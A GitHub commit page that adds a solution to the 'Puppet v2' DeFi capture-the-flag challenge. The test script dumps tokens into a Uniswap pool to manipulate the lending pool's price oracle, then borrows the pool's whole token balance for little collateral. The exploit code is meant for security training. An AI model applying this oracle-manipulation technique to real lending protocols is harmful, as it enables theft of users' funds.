Skip to content

Commit

Permalink
feat:Challenge theredguild#9 - Puppet v2 solved
Browse files Browse the repository at this point in the history
  • Loading branch information
redace85 committed Jul 7, 2022
1 parent 44583e4 commit adb5798
Showing 1 changed file with 30 additions and 0 deletions.
30 changes: 30 additions & 0 deletions test/puppet-v2/puppet-v2.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -82,6 +82,36 @@ describe('[Challenge] Puppet v2', function () {

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
let tx = await this.token.connect(attacker).approve(
this.uniswapRouter.address,
ATTACKER_INITIAL_TOKEN_BALANCE
);
await tx.wait();

tx = await this.uniswapRouter.connect(attacker).swapExactTokensForETH(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('9.9'),
[this.token.address, this.weth.address],
attacker.address,
(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
);
await tx.wait();

const goodprice = await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
// console.log('goodprice:', ethers.utils.formatUnits(goodprice));

// const weBalance = await ethers.provider.getBalance(attacker.address);
// console.log('weth Balance:', ethers.utils.formatUnits(weBalance));
tx = await this.weth.connect(attacker).deposit({value:goodprice});
await tx.wait();
tx = await this.weth.connect(attacker).approve(
this.lendingPool.address,
goodprice
);
await tx.wait();

tx = await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);
await tx.wait();
});

after(async function () {
Expand Down

0 comments on commit adb5798

Please sign in to comment.